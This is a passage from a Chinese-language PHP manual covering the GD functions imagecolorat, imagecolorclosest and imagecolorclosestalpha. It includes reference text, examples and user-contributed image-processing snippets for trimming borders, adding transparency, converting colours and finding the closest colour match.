    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
    $c = round(($r+$g+$b)/3); // average of rgb is good enough for a default
  }
  // if tolerance ($t) isn't a number between 0 - 255 use 10 as default
  if (!is_numeric($t) || $t < 0 || $t > 255) $t = 10;

  $w = imagesx($im); // image width
  $h = imagesy($im); // image height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $r = ($rgb >> 16) & 0xFF;
      $g = ($rgb >> 8) & 0xFF;
      $b = $rgb & 0xFF;
      if (
      ($r < $c-$t || $r > $c+$t) && // red not within tolerance of trim colour
      ($g < $c-$t || $g > $c+$t) && // green not within tolerance of trim colour
      ($b < $c-$t || $b > $c+$t) // blue not within tolerance of trim colour
      ) {
        // using x and y as keys condenses all rows and all columns
        // into just one X array and one Y array.
        // however, the keys are treated as literal and therefore are not in
        // numeric order, so we need to sort them in order to get the first
        // and last X and Y occurances of wanted pixels.
        // normal sorting will remove keys so we also use x and y as values,
        // this way they are still available without preserving keys.
        $y_axis[$y] = $y;
        $x_axis[$x] = $x;
        // note: $y_axis[] = $y; and $x_axis[] = $x; works just as well
        // but results in much much larger arrays than is necessary
        // array_unique would reduce size again but this method is quicker
      }
    }
  }
  // sort them so first and last occurances are at start and end
  sort($y_axis);
  sort($x_axis);

  $top = array_shift($y_axis); // first wanted pixel on Y axis
  $right = array_pop($x_axis); // last wanted pixel on X axis
  $bottom = array_pop($y_axis); // last wanted pixel on Y axis
  $left = array_shift($x_axis); // first wanted pixel on X axis

  return array($top,$right,$bottom,$left);
}

$image='test.jpg';
$im = imagecreatefromjpeg($image); // we need resource

$c = (isset($_GET[c])) ? $_GET[c] : null; // set trim colour via GET
$t = (isset($_GET[t])) ? $_GET[t] : null; // set tolerance via GET

list($t,$r,$b,$l) = trimImage($im,$c,$t); // find top, right, bottom and left

$w = $r-$l; // find width
$h = $b-$t; // find height

imagedestroy($im); // free resource

// below is just for visually testing function ---------------------------------

$html_display = <<<HTM

<style type="text/css">
#stage {
  position: relative;
  float: left; // so it is the same size as the image it contains
}
#canvas {
  border: solid 1px #FC3;
  width: {$w}px;
  height: {$h}px;
  position: absolute;
  top: {$t}px;
  left: {$l}px;
}
img { border: solid 1px #EEE; }
</style>

HTM;

?>
<html>
<head>
<?=$html_display?>
</head>

<body>
<div id="stage">
  <div id="canvas"></div>
  <img src="test.jpg" />
</div>

</body>
</html>
chandrachur at elegantsystems dot net 28-Mar-2011 01:53
Here is a fun code for making images with white bg transparent. Well it can work with any bg but you need to adjust the color values accordingly. Works best with plain dual colors. I searched for this kind of code a lot but unable to find one ...see if this helps someone.

<?php

function transparentImage($src){  //making images with white bg transparent
$r1=80;
$g1=80;
$b1=80;
for($x = 0; $x < imagesx($src); ++$x)
        {
            for($y = 0; $y < imagesy($src); ++$y)
            {
                $color=imagecolorat($src, $x, $y);
                $r = ($color >> 16) & 0xFF;
                $g = ($color >> 8) & 0xFF;
                $b = $color & 0xFF;
                for($i=0;$i<270;$i++){
                    if($r.$g.$b==($r1+$i).($g1+$i).($b1+$i)){
                        $trans_colour = imagecolorallocatealpha($src, 0, 0, 0, 127);
                        imagefill($src, $x, $y, $trans_colour);
                    }
                }
            }
        }

        return $src;
}

$image='abc/abc.jpg';
$src = imagecreatefromjpeg($image);
$src=transparentImage($src); //Lets make the jpegs transparent

?>
Kae Cyphet 08-Feb-2011 05:02
If you are getting inconsistent results or results that dont make any sense when trying to retrieve a black pixel eg:

(Red,Green,Blue)
0,0,0
0,0,0
0,0,2
0,0,4
0,0,6
0,0,7
0,0,0
0,0,10
0,0,8
0,0,9
0,0,0
0,0,12
0,0,13
0,0,0

switch from using imagecreate() to imagecreatetruecolor()

issue found when creating a graph where a pixel would increase in color based on the previous color and new data.
madtrader117 at gmail dot com 08-Aug-2010 07:51
Here's a function I made for finding the size of the black border surrounding some movie thumbnails where the movie itself has had black padding added in order to maintain aspect ratio.

<?php
    define("DEBUG_OUT",TRUE);
    $border_size = find_border_size($path);
    print_r($border_size);
    /*
     * $border = max(find_border_size("img.jpg"));
     * $thumb_size_x = 180+(2*$border);
     * $thumb_size_y = 240+(2*$border);
     * $thumb_size = $thumb_size_x . "x" . $thumb_size_y; (String to use in the -s param of ffmpeg)
     * $crop_cmd = "-croptop $border -cropbottom $border -cropright $border -cropleft $border";
     */
    function find_border_size($path)
    {
        /* The pad var is essentially a 'feather' value. Unless one of the RGB values rises
         * above $pad we are saying to continue. You can try different values but with 10 I
         * would still get a decent sized border due to the bleedover of the movie into
         * the hat.
         */
        $pad = 20;
        $border_y = 0;
        $border_x = 0;

        if(!file_exists($path))
        {
            if(DEBUG_OUT) echo("Error: $path not found.\n");
            return FALSE;
        }
        else
        {
            if(DEBUG_OUT) echo("Opening: $path ...\n");
        }
        $im = @imagecreatefromjpeg($path);
        if(!$im) return FALSE;
        $height = imagesy($im);
        $width = imagesx($im);

        /* Let's start at 0, 0 and keep going till we hit a color */
        if(DEBUG_OUT) echo("Image - Height: $height / Width: $width\n");
        /* Border Height(Y) */
        $center_width = ceil($width/2);
        for($i=0; $i<$height; $i++)
        {
            $rgb = imagecolorat($im,$center_width,$i);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Height: ($center_width,$i) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_y = $i;
                if($border_y == $height) $border_y = 0;
                break;
            }
        }

        /* Border Width(X) */
        $center_height = ceil($height/2);
        for($i=0; $i<$width; $i++)
        {
            $rgb = imagecolorat($im,$i,$center_height);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Width: ($i,$center_width) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_x = $i;
                if($border_x == $width) $border_x = 0;
                break;
            }
        }

        /* I am making the border a multiple of 2 since I am sending these values to FFMpeg */
        if($border_x != 0)
        {
            $border_x /= 2;
            $border_x = round($border_x);
            $border_x *= 2;
        }
        if($border_y != 0)
        {
            $border_y /= 2;
            $border_y = round($border_y);
            $border_y *= 2;
        }
        if(DEBUG_OUT) echo("Border Width: $border_x / Border Height: $border_y\n");
        return array($border_x,$border_y);
    }
?>
black at scene-si dot org 18-May-2010 05:39
If an image is filled with a solid color (rgb 0,0,0) the average color will be 0,0,0, and the histogram will have the maximum values at r[0], g[0], and b[0]. Since we remove those values with the tolerance (+- 16), we are only left with colors outside of average.

If the removed colors represent more than 90% of the image (we remove 6.25-12.5% of the histogram based on the average color), then we asume the image is blank.

This detects solid filled images of any color, and with images of very little color variance (blank wall, blue sky with no clouds, nearly faded images, very low contrast and low color range images). The function is perfect for checking if a frame from a video is blank or not (in case you are generating thumbnails).

<?php
function isBlank($gd_resource, $tolerance, $percent)
{
        list($w,$h) = array(imagesx($gd_resource), imagesy($gd_resource));

        $count = 0;
        $hr = $hg = $hb = array();
        for ($i=0; $i<$h; $i++) {
                for ($j=0; $j<$w; $j++) {
                        $pos = imagecolorat($gd_resource, $j, $i);
                        $f = imagecolorsforindex($gd_resource, $pos);
                        $hr[$f['red']] = issetor($hr[$f['red']],0) + 1;
                        $hg[$f['green']] = issetor($hg[$f['green']],0) + 1;
                        $hb[$f['blue']] = issetor($hb[$f['blue']],0) + 1;
                        $count ++;
                }
        }

        $rc = array_sum($hr);
        $gc = array_sum($hg);
        $bc = array_sum($hb);

        $r = $rc/$count;
        $g = $gc/$count;
        $b = $bc/$count;

        $ra = range(max(0,$r-$tolerance), min(255,$r+$tolerance));
        $ga = range(max(0,$g-$tolerance), min(255,$g+$tolerance));
        $ba = range(max(0,$b-$tolerance), min(255,$b+$tolerance));

        foreach ($ra as $rx) {
                unset($hr[$rx]);
        }
        foreach ($ga as $gx) {
                unset($hg[$gx]);
        }
        foreach ($ba as $bx) {
                unset($hb[$bx]);
        }

        $red = floatval(array_sum($hr)+1) / floatval($rc);
        $green = floatval(array_sum($hg)+1) / floatval($gc);
        $blue = floatval(array_sum($hb)+1) / floatval($bc);

        if ($red<$percent && $green<$percent && $blue<$percent) {
                return true;
        }
        return false;
}

// Example;

isBlank($gd_resource, 16, 0.1);

?>
Richard 20-Sep-2008 11:49
With the following functions you can not only convert a 24 bit RGB integer to its corresponding red, green, and blue values, but also 32 bit RGBA integers to its corresponding red, green, blue, and ALPHA values.

Not only that, but I even threw in a function for converting those red, green, blue, and alpha values back into a 32 bit RGBA integer.

Sample usage:
<?php
$int = rgba2int(255, 255, 255, 16);
echo $int . "<br>";
$rgba = int2rgba($int);
print_r($rgba);
?>

What it should output:
285212671
Array
(
    [r] => 255
    [g] => 255
    [b] => 255
    [a] => 16
)

<?php
function rgba2int($r, $g, $b, $a=1) {
    /*
    This function builds a 32 bit integer from 4 values which must be 0-255 (8 bits)
    Example 32 bit integer: 00100000010001000000100000010000
    The first 8 bits define the alpha
    The next 8 bits define the blue
    The next 8 bits define the green
    The next 8 bits define the red
    */
    return ($a << 24) + ($b << 16) + ($g << 8) + $r;
}

function int2rgba($int) {
    $a = ($int >> 24) & 0xFF;
    $r = ($int >> 16) & 0xFF;
    $g = ($int >> 8) & 0xFF;
    $b = $int & 0xFF;
    return array('r'=>$r, 'g'=>$g, 'b'=>$b, 'a'=>$a);
}
?>
Scott Thompson (VBAssassin) 16-Apr-2008 05:02
I've found this function very useful when wanting to manipulate an existing image. An example would be to simply flip an image (source code here: http://www.coderprofile.com/source-code/372/ )

The principle i use a lot is to scan through an image pixel by pixel performing some kind of action on that pixel... and then saving the newly created pixel on to a new canvas ready to display to the browser.

The only problem i find is speed... so some kind of caching mechanism and dimensions limitation on images that are processed is recommended for high traffic use.

Kind regards,
Scott
p h o c i s [a-t] g m a i l c o m 20-Nov-2007 09:47
I believe GD has an issue with transparent mattes and alpha blending. It seems GD thinks that some images have a black matte transparency (meaning that the image is built on a black matte instead of transparent).

And while "alan hogan dot com slash contact" solution does deal with this, the results seem to be... glitchy. you get different results each time you do it, and they are not always the best.

So I made a different solution that, while it looks better on a white background and is consistent, still sort of mangles the image just a bit by merging all blended pixels with the transparent color.

// Load image
$img = imagecreatefrompng('my_broken_png.png');

// Make matte canvas
$matte = imagecreatetruecolor(16,16);
$trans_color = imagecolorallocatealpha($matte,254,254,254,0);
imagefill($matte, 0,0,$trans_color);

// Put the old image on the matte
imagecopy($matte,$img,0,0,0,0,16,16);

// Turn the matte color into full alpha (blended pixels will not be affected)
imagecolortransparent($matte,$trans_color);

// Display image
header('Content-Type: image/gif');
imagegif($matte);
alan hogan dot com slash contact 12-Nov-2007 02:44
As creamdog noted before, the alpha channel IS available from this function! (The manual should probably be updated to include this!)

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;

$alpha will then contain the TRANSPARENCY (NOT OPACITY) level. So 127, the max, would be completely transparent, and 0 would be completely opaque.

Using this information, it is possible to write a dithering png-to-gif function like the completely working simple one below:

<?php
$im = imagecreatefrompng($pngRel);
        $transparentColor = imagecolorallocate($im, 0xfe, 0x3, 0xf4 );
        $height = imagesy($im);
        $width = imagesx($im);
        for($x = 0; $x < $width; $x++){
            for($y = 0; $y < $height; $y++) {
                $alpha = (imagecolorat($im,$x,$y) & 0x7F000000) >> 24;
                //DITHER!
                if ($alpha > 3 && (
                        $alpha >=127-3 ||
                        (rand(0,127))>=(127-$alpha)
                    )){
                    imagesetpixel($im,$x,$y,$transparentColor);
                }

            }
        }
        imagecolortransparent($im, $transparentColor);
        imagegif($im, $gifRel);//save
        header("Content-type: image/gif");
        readfile($gifRel); //pass thru to browser

?>
pocze_zsolt at hotmail dot com 15-Sep-2007 04:55
This is a histogram-stretching function to get a better contrast:

function contrast_stretch( $img ) {
    $x = imagesx($img);
    $y = imagesy($img);

    $min=255.0;
    $max=0.0;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);
        $gst = $f["red"]*0.15 + $f["green"]*0.5 + $f["blue"]*0.35;
        if($gst>$max) $max=$gst;
        if($gst<$min) $min=$gst;
    }
    }

    $distance = $max-$min;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);

        $red = 255*($f["red"]-$min)/$distance;
        $green = 255*($f["green"]-$min)/$distance;
        $blue = 255*($f["blue"]-$min)/$distance;

        if($red<0) $red = 0.0;
        elseif($red>255) $red=255.0;

        if($green<0) $green = 0.0;
        elseif($green>255) $green=255.0;

        if($blue<0) $blue = 0.0;
        elseif($blue>255) $blue=255.0;

        $color = imagecolorresolve($img, $red, $green, $blue);
        imagesetpixel($img, $j, $i, $color);
    }
    }
}
29-Nov-2006 04:45
//test if a Jpeg is greyscale or color

function iscolor($pic_adress){

// A Pixel is Greyscale if the r = B = G
    //example: colorpixel R=250, G=140 , B=19  Greyscale Pixel R=110, G= 110, B=110

    //we do a check of 10 Pixels to find out if the Picture is Greyscale
    $tocheck = 10;

    $iscolor=false;

    $temp= getimagesize($pic_adress);

    $x= $temp[0];
    $y= $temp[1];

    $im= imagecreatefromjpeg($pic_adress);

    //now check out the Pixels
    for( $i = 0 ; $i< $tocheck && !$iscolor; $i++){

    // Here a Random Pixel is chosen
    $color = imagecolorat($im,rand(0,$x),rand(0,$y));

    //Problem color is an int
    //The Hex view on the number is RRGGBB
    // Here we get the blue part of the Pixel
    $blue = 0x0000ff & $color;

    $green = 0x00ff00 & $color;
   //The Green part we have to push 8 bits to the right to get an Compareable result
    $green = $green >> 8;
    $red =0xff0000 & $color;
    //red part needs to be pushed 16 bit
    $red = $red >> 16;
    // if one of the Pixels isnt Greyscale it breaks an you know this is a color picture
    if( $red!= $green || $green!= $blue){
        $iscolor = true;
        break;
        }
    }
    return $iscolor;

}
Luciano Ropero 27-Oct-2006 11:31
I made a function that calculates the average color of a given image resource and returns it in "#rrggbb" format (hex):

function average($img) {
    $w = imagesx($img);
    $h = imagesy($img);
    $r = $g = $b = 0;
    for($y = 0; $y < $h; $y++) {
        for($x = 0; $x < $w; $x++) {
            $rgb = imagecolorat($img, $x, $y);
            $r += $rgb >> 16;
            $g += $rgb >> 8 & 255;
            $b += $rgb & 255;
        }
    }
    $pxls = $w * $h;
    $r = dechex(round($r / $pxls));
    $g = dechex(round($g / $pxls));
    $b = dechex(round($b / $pxls));
    if(strlen($r) < 2) {
        $r = 0 . $r;
    }
    if(strlen($g) < 2) {
        $g = 0 . $g;
    }
    if(strlen($b) < 2) {
        $b = 0 . $b;
    }
    return "#" . $r . $g . $b;
}

Although, I've noticed that you can also get a fairly good average color generating a 1px by 1px copy with imagecopyresampled (the pixel generated is colored with the average color).
morten at nilsen dot com 11-Sep-2006 08:17
A better way of encoding a color value to #rrggbb:

<?php
  printf('#%06x',$c);
?>

or

<?php
  $rgb = sprintf('#%06x',$c);
?>
robert at future-vision dot nl 15-Dec-2005 04:53
Look mom, no tables :)

I made some changes to the code from 'hazard AT krankteil DOTTILLYDO de' so the function would output a div that displays the image.

As for the size of the outputted file I can say the original png file was lots smaller, but maybe its a nice feature for small buttons or such.

The way you can use it is the same as the code from 'hazard AT krankteil DOTTILLYDO de'.

litle note: each div contains a bogus image. When this is not in IE will screw up the output.

<?
    function hexcolor($c) {
        $r = ($c >> 16) & 0xFF;
        $g = ($c >> 8) & 0xFF;
        $b = $c & 0xFF;
        return '#'.str_pad(dechex($r), 2, '0', STR_PAD_LEFT).str_pad(dechex($g), 2, '0', STR_PAD_LEFT).str_pad(dechex($b), 2, '0', STR_PAD_LEFT);
    }

    function png2div($filename) {

        $img = imagecreatefrompng($filename);
        $width = imagesx($img);
        $height = imagesy($img);
        $div_width = 1;
        $previous_color = 0;

        $output = '<div style="position:relative;width:' . $width . 'px;height:'. $height .'px;">';

        for($y = 0;$y < $height;++$y){

            for($x = 0;$x < $width;++$x){

                $current_color = ImageColorAt($img, $x, $y);

                if($current_color == $previous_color && $x < $width-1){
                    ++$div_width;
                }
                else{
                    $output .= '<div style="position:relative;float:left;width:' . $div_width . 'px;height:1px;background-color:' . hexcolor((($div_width > 1)? $previous_color:$current_color)) . '"><img src="bogus.gif" alt="" width="1" height="1" /></div>';
                    $previous_color = $current_color;
                    $div_width = 1;
                }
            }
            ob_flush();
        }

        $output .= '</div>';

        return $output;

    }

?>
T. Dekker 27-Oct-2005 12:40
In GD 2.x there is support for true color images complete with an alpha channel. GD 2.x has a 7-bit (0-127) alpha channel.

While most people are used to an 8-bit (0-255) alpha channel, it is actually quite handy that GD's is 7-bit (0-127). Each pixel is represented by a 32-bit signed integer, with the four 8-bit bytes arranged like this:

 High Byte <--> Low Byte
{Alpha Channel} {Red} {Green} {Blue}

For a signed integer, the leftmost bit, or the highest bit, is used to indicate whether the value is negative, thus leaving only 31 bits of actual information. PHP's default integer value is a signed long into which we can store a single GD palette entry. Whether that integer is positive or negative tells us whether antialiasing is enabled for that palette entry.
swimgod 02-Sep-2005 01:36
this function i made will compare two($start-$finish) images and change the pixels with diffrent colors in the "finish" image
then displays them both next to each other in one image

another feature is "display" which will echo text
"50% on
50% off"-% count(if the number is lower then 1 it will go into one decamil count

or type "2" will be
"10023 on
3000 off"-pixel count

one last feature is "color"
which you define in an array
$color = array("r" => "244","g" => "122","b" => "100");

to finish up the discrpition im gonna show this "map" of my function
compare($start, $finish[, $color[, $display[, $type]]])
image-url($start) - base image URL
image-url($finish) - compare image URL
array($color) - array with keys "r", "g", "b" r being RED 0-255 g being GREEN 0-255 b being BLUE 0-255
bool($display) - 1 OR TRUE will return text stats from compare
int($type) - 1 OR 0 | 1 being % results | 0 being pixel results

<?
function compare($start, $finish, $color, $display, $type){

$im = ImageCreateFrompng($start);
$im2 = ImageCreateFrompng($finish);
$img['x'] = imagesx($im);
$img['y'] = imagesy($im);
$img2['x'] = imagesx($im2);
$img2['y'] = imagesy($im2);
if(($img['x'] == $img2['x']) && ($img['y'] == $img2['y'])){

//get and set image hieght and width
$i = array("width" =>  $img['x']*2, "height" => $img['y']);
$im3 = imagecreatetruecolor($i['width'], $i['height']);
if($color){
$color = imagecolorallocate($im3, $color['r'], $color['g'], $color['b']);
}else{

$color = imagecolorallocate($im3, 255, 255, 255);
}
for($y = $img['y'];$y > 0; $y--){
for($x = $img['x'];$x > 0; $x--){
if(ImageColorAt($im, $x, $y) == ImageColorAt($im2, $x, $y)){
$on = $on+1;
$rgb = ImageColorAt($im, $x, $y);
Imagesetpixel($im3, $img['x']+$x, $y, $rgb);
}else{
$off = $off+1;
imagesetpixel($im3, $img['x']+$x, $y , $color);
}
}
}
if($display == true){
if(($type == "1") || (!$type)){
$off2 = (round(($off / $on)*10));
if(($off2 == 0) && ($off > 0)){
$off2 = round(($off / $on)*10)*10;
}
$on2 = (100-$off2);
$off2 .="%";
$on2 .="%";
}else{
$off2 = $off;
$on2 = $on;
}
echo $off2 ." off<br>". $on2 ." on";
}else{
imagecopy($im3, $im, 0, 0, 0, 0, $img['x'], $img['y']);
@header("Content-type: image/png");
imagepng($im3);
imagedestroy($im3);
}
imagedestroy($im);
imagedestroy($im2);
return TRUE;
}else{
return False;
}
}
?>
Super Moi 28-Aug-2005 08:31
Here is a contribution for change tint.

function colorize($path_image, $red, $green, $blue)
{
      $im = imagecreatefrompng($path_image);
    $pixel = array();

    $n_im = imagecreatetruecolor(imagesx($im),imagesy($im));
    $fond = imagecolorallocatealpha($n_im, 255, 255, 255, 0);
    imagefill($n_im, 0, 0, $fond);

    for($y=0;$y<imagesy($n_im);$y++)
    {
        for($x=0;$x<imagesx($n_im);$x++)
        {
            $rgb = imagecolorat($im, $x, $y);
            $pixel = imagecolorsforindex($im, $rgb);

            $r = min(round($red*$pixel['red']/169),255);
            $g = min(round($green*$pixel['green']/169),255);
            $b = min(round($blue*$pixel['blue']/169),255);
            $a = $pixel['alpha'];
            //echo('red : '.$pixel['red'].' => '.$r.', green : '.$pixel['green'].' => '.$g.', blue : '.$pixel['blue'].' => '.$b.', alpha : '.$pixel['alpha'].' => '.$a.'<br>');

            $pixelcolor = imagecolorallocatealpha($n_im, $r, $g, $b, $a);

            imagealphablending($n_im, TRUE);
            imagesetpixel($n_im, $x, $y, $pixelcolor);
        }
    }

       imagepng($n_im,'test.png');
       imagedestroy($n_im);
}
mumig at poczta dot onet dot pl 27-Feb-2004 08:13
imagecolorat() works differently for png's with true color and for paletted png's - for true color it returns value of color, for paletted it returns index number and you have to use  imagecolorsforindex() to get rgb color value.


取得与指定的颜色最接近的颜色索引值

  • ? imagecolorat
  • imagecolorclosestalpha ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得与指定的颜色最接近的颜色索引值

imagecolorclosest

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorclosest — 取得与指定的颜色最接近的颜色索引值

说明

imagecolorclosest(
GdImage $image,
int $red,
int $green,
int $blue
): int

返回图像调色板中与指定的 RGB 值最"接近"的颜色索引。

计算所需颜色与调色板中每种颜色之间的"距离"，就好像 RGB 值表示三维空间中的点一样。

如果图象由文件创建，只有该图象使用到的颜色会被解析。仅存在于调色板中的颜色不会被解析。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

颜色参数是 0 到 255 之间的整数或 0x00 和 0xFF 之间的十六进制数。

返回值

返回图像调色板中最接近指定颜色的索引

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 在图像中搜索一组颜色

<?php
// Start with an image and convert it to a palette-based image
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Search colors (RGB)
$colors = array(
array(254, 145, 154),
array(153, 145, 188),
array(153, 90, 145),
array(255, 137, 92)
);

// Loop through each search and find the closest color in the palette.
// Return the search number, the search RGB and the converted RGB match
foreach($colors as $id => $rgb)
{
$result = imagecolorclosest($im, $rgb[0], $rgb[1], $rgb[2]);
$result = imagecolorsforindex($im, $result);
$result = "({$result['red']}, {$result['green']}, {$result['blue']})";

echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2]); Closest match: $result.\n";
}

imagedestroy($im);
?>

以上示例的输出类似于：

#0: Search (254, 145, 154); Closest match: (252, 150, 148).
#1: Search (153, 145, 188); Closest match: (148, 150, 196).
#2: Search (153, 90, 145); Closest match: (148, 90, 156).
#3: Search (255, 137, 92); Closest match: (252, 150, 92).

参见

  • imagecolorexact() - 取得指定颜色的索引值
  • imagecolorclosestalpha() - 获取最接近指定颜色 + alpha 的颜色索引
  • imagecolorclosesthwb() - 取得与给定颜色最接近的色度的黑白色的索引

User Contributed Notes

Hayley Watson 23-Jul-2017 04:33
RGB space isn't the best choice for measuring the distance between two colours, since it ignores, for example, the fact that we count both dark green and light green as "green" (the RGB distance between #000000 and #7f7f7f is the same as the distance between #000000 and #5443c0 - a slightly darkened SlateBlue).

A better choice of colour space that conforms better to how colours are perceived is the so-called Lab space, which measures colours according to how light/dark, red/green, and yellow/blue they are. (There are still better models, but they come at the expense of increased computation.)

<?php

function warp1($c)
{
    if($c > 10.3148)
    {
        return pow((561 + 40*$c)/10761, 2.4);
    }
    else
    {
        return $c / 3294.6;
    }
}
function warp2($c)
{
    if($c > 0.008856)
    {
        return pow($c, 1/3);
    }
    else
    {
        return 7.787 * $c + 4/29;
    }
}
function rgb2lab($rgb)
{
    [$red, $green, $blue] = array_map('warp1', $rgb);

    $x = warp2($red * 0.4339 + $green * 0.3762 + $blue * 0.1899);
    $y = warp2($red * 0.2126 + $green * 0.7152 + $blue * 0.0722);
    $z = warp2($red * 0.0178 + $green * 0.1098 + $blue * 0.8730);

    $l = 116*$y - 16;
    $a = 500 * ($x - $y);
    $b = 200 * ($y - $z);

    return array_map('intval', [$l, $a, $b]);
}

function generate_palette_from_image($image)
{
    $pal = [];
    $width = imagesx($image);
    $height = imagesy($image);
    for($x = 0; $x < $width; ++$x)
    {
        for($y = 0; $y < $height; ++$y)
        {
            $pal[] = imagecolorat($image, $x, $y);
        }
    }
    return array_map(function($col)use($image)
    {
        $rgba = imagecolorsforindex($image, $col);
        return [$rgba['red'], $rgba['green'], $rgba['blue']];
    },    array_unique($pal));
}

function closest_rgb_in_palette($rgb, $palette)
{
    // Quick return when the exact
    // colour is in the palette.
    if(($idx = array_search($rgb, $palette)) !== false)
    {
        return $idx;
    }
    [$tl, $ta, $tb] = rgb2lab($rgb);
    $dists = array_map(function($plab)use($tl, $ta, $tb)
    {
        [$pl, $pa, $pb] = $plab;
        $dl = $pl - $tl;
        $da = $pa - $ta;
        $db = $pa - $tb;
        return $dl * $dl + $da * $da + $db * $db;
    }, array_map('rgb2lab', $palette));
    return array_search(min($dists), $dists);
}

function closest_rgb_in_image($rgb, $image)
{
    $palette = generate_palette_from_image($image);
    return $palette[closest_rgb_in_palette($rgb, $palette)];
}

$lena = imagecreatefrompng('lena.png');
$red = closest_rgb_in_image([255,0,0],$lena);
echo join(' ', $red);  // 228 71 82

?>

If you're going to be matching a lot of colours to a palette, you may want to precompute and reuse the Lab palette, instead of generating it fresh each time as done here.
info at codeworx dot ch 09-Nov-2011 02:21
Here is a function that compares two HEX colors for similarity. This can be useful if you want to detect colors that are not different enough to see for the naked eye. It returns a bool: TRUE if the colors are similar to each other (within tolerance) or FALSE if they are different enough.
I tested a few colors and came up with a tolerance of 35 (rgb value - should be between 0 and 255) but you can change that tolerance by passing a third parameter to the function.

<?php
function compareColors ($col1, $col2, $tolerance=35) {
    $col1Rgb = array(
        "r" => hexdec(substr($col1, 0, 2)),
        "g" => hexdec(substr($col1, 2, 2)),
        "b" => hexdec(substr($col1, 4, 2))
    );
    $col2Rgb = array(
        "r" => hexdec(substr($col2, 0, 2)),
        "g" => hexdec(substr($col2, 2, 2)),
        "b" => hexdec(substr($col2, 4, 2))
    );
    return ($col1Rgb['r'] >= $col2Rgb['r'] - $tolerance && $col1Rgb['r'] <= $col2Rgb['r'] + $tolerance) && ($col1Rgb['g'] >= $col2Rgb['g'] - $tolerance && $col1Rgb['g'] <= $col2Rgb['g'] + $tolerance) && ($col1Rgb['b'] >= $col2Rgb['b'] - $tolerance && $col1Rgb['b'] <= $col2Rgb['b'] + $tolerance);
}
?>
MagicalTux at FF dot st 28-Jun-2005 06:22
A way to get each time an answer :

<?php
function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
}
?>

If the *exact* color is found in the image, it will be returned. If we don't have the exact color, we try to allocate it. If we can't allocate it, we return the closest color in the image.
Vikrant Korde <vakorde at hotmail dot com> 11-Oct-2003 08:10
This functuion is useful when you are dealing with previously present images like .png, .jpg, etc. You can use this function for writing a text on the image.

For me the function imagecolorallocate() was returning the -1 value. after lot of RnD and site search i found a function use of imagecolorclosest(). This solved my problem of writing the text on the image with customised color.

Actually previously it was writing on the image but the color was not distinct. It was using the same color as of that background image.

The following code segment was fine with me.

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("BlankButton.jpg");
$white = imageColorClosest($im, 255,255,255);
// this is for TTF fonts
imagettftext ($im, 20, 0, 16, 30, $white, "/usr/X11R6/lib/X11/fonts/TTF/luximb.ttf", "Vikrant");

//this is for notmal font
imagestring($im, 4, 0,0,"Korde", $white);
imagejpeg($im,"",150);
imagedestroy ($im);


获取最接近指定颜色 + alpha 的颜色索引

  • ? imagecolorclosest
  • imagecolorclosesthwb ?
  • PHP Manual
  • GD 和图像处理 函数
  • 获取最接近指定颜色 + alpha 的颜色索引

imagecolorclosestalpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorclosestalpha — 获取最接近指定颜色 + alpha 的颜色索引

说明

imagecolorclosestalpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int

返回图像调色板中"最接近"指定 RGB 值以及 alpha 级别的颜色索引。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

alpha

介于 0 和 127 之间的值。0 表示完全不透明，而 127 表示完全透明。

colors 参数是 0 到 255 之间的整数或 0x00 到 0xFF 之间的十六进制数。

返回值

返回调色板中最接近的颜色的索引。

示例

Example #1 在图像中搜索一组颜色

<?php
// Start with an image and convert it to a palette-based image
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Search colors (RGB)
$colors = array(
array(254, 145, 154, 50),
array(153, 145, 188, 127),
array(153, 90, 145, 0),
array(255, 137, 92, 84)
);

// Loop through each search and find the closest color in the palette.
// Return the search number, the search RGB and the converted RGB match
foreach($colors as $id => $rgb)
{
$result = imagecolorclosestalpha($im, $rgb[0], $rgb[1], $rgb[2], $rgb[3]);
$result = imagecolorsforindex($im, $result);
$result = "({$result['red']}, {$result['green']}, {$result['blue']}, {$result['alpha']})";

echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2], $rgb[3]); Closest match: $result.\n";
}

imagedestroy($im);
?>

以上示例的输出类似于：

#0: Search (254, 145, 154, 50); Closest match: (252, 150, 148, 0).
#1: Search (153, 145, 188, 127); Closest match: (148, 150, 196, 0).
#2: Search (153, 90, 145, 0); Closest match: (148, 90, 156, 0).
#3: Search (255, 137, 92, 84); Closest match: (252, 150, 92, 0).

